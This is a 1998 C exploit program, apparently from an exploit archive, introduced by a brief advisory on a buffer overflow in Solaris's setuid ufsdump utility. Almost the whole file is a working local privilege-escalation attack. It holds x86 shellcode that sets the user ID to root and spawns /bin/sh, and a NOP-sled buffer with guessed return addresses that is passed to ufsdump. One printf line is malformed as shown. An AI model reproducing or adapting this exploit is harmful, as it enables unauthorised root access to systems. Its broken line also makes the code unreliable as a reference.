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109 lines
No EOL
4.5 KiB
C
109 lines
No EOL
4.5 KiB
C
// source: https://www.securityfocus.com/bid/680/info
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A buffer overflow vulnerability in the /usr/lib/fs/ufs/ufsdump setuid program allows local users to obtain root and tty group access. The vulnerability is the result of 'ufsdump' not being able to handle device names of a large length.
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/**
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*** ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
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***
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*** Tested and confirmed under Solaris 2.6 i386
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***
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*** Usage: % ufodump [offset]
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***
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*** where offset (if present) is the number of bytes to add to the stack
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*** pointer to calculate your target return address; try -1000 to 1000 in
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*** increments of 100 for starters. Thanks go to Seth McGann for the
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*** original bug report and a preliminary exploit.
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***
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*** Cheez Whiz
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*** cheezbeast@hotmail.com
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***
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*** December 30, 1998
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**/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#define BUFLEN 1100
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#define NOP 0x90
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char shell[] =
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/* 0 */ "\xeb\x48" /* jmp springboard */
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/* syscall: */
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/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
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/* 9 */ "\xc3" /* ret */
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/* start: */
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/* 10 */ "\x5e" /* popl %esi */
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/* 11 */ "\x31\xc0" /* xor %eax,%eax */
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/* 13 */ "\x89\x46\xb4" /* movl %eax,-0x4c(%esi) */
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/* 16 */ "\x88\x46\xb9" /* movb %al,-0x47(%esi) */
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/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
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/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
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/* seteuid: */
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/* 25 */ "\x31\xc0" /* xor %eax,%eax */
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/* 27 */ "\x50" /* pushl %eax */
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/* 28 */ "\xb0\x8d" /* movb $0x8d,%al */
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/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
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/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
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/* setuid: */
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/* 38 */ "\x31\xc0" /* xor %eax,%eax */
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/* 40 */ "\x50" /* pushl %eax */
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/* 41 */ "\xb0\x17" /* movb $0x17,%al */
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/* 43 */ "\xe8\xd2\xff\xff\xff" /* call syscall */
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/* 48 */ "\x83\xc4\x04" /* addl $0x4,%esp */
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/* execve: */
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/* 51 */ "\x31\xc0" /* xor %eax,%eax */
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/* 53 */ "\x50" /* pushl %eax */
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/* 54 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
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/* 57 */ "\x53" /* pushl %ebx */
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/* 58 */ "\x8d\x1e" /* leal (%esi),%ebx */
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/* 60 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
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/* 63 */ "\x53" /* pushl %ebx */
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/* 64 */ "\xb0\x3b" /* movb $0x3b,%al */
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/* 66 */ "\xe8\xbb\xff\xff\xff" /* call syscall */
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/* 71 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
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/* springboard: */
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/* 74 */ "\xe8\xbb\xff\xff\xff" /* call start */
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/* data: */
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/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
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/* 87 */ "\xff\xff\xff\xff" /* DATA */
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/* 91 */ "\xff\xff\xff\xff"; /* DATA */
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char buf[BUFLEN];
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unsigned long int nop, esp;
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long int offset = 0;
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unsigned long int
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get_esp()
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{
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__asm__("movl %esp,%eax");
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}
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void
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main (int argc, char *argv[])
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{
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int i;
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if (argc > 1)
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offset = strtol(argv[1], NULL, 0);
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if (argc > 2)
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nop = strtoul(argv[2], NULL, 0);
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else
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nop = 800;
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esp = get_esp();
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memset(buf, NOP, BUFLEN);
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memcpy(buf+nop, shell, strlen(shell));
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for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
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*((int *) &buf[i]) = esp+offset;
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printf("jumping to 0x%08x (0x%08x offset, nop);
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execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
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printf("exec failed!\n");
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return;
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} |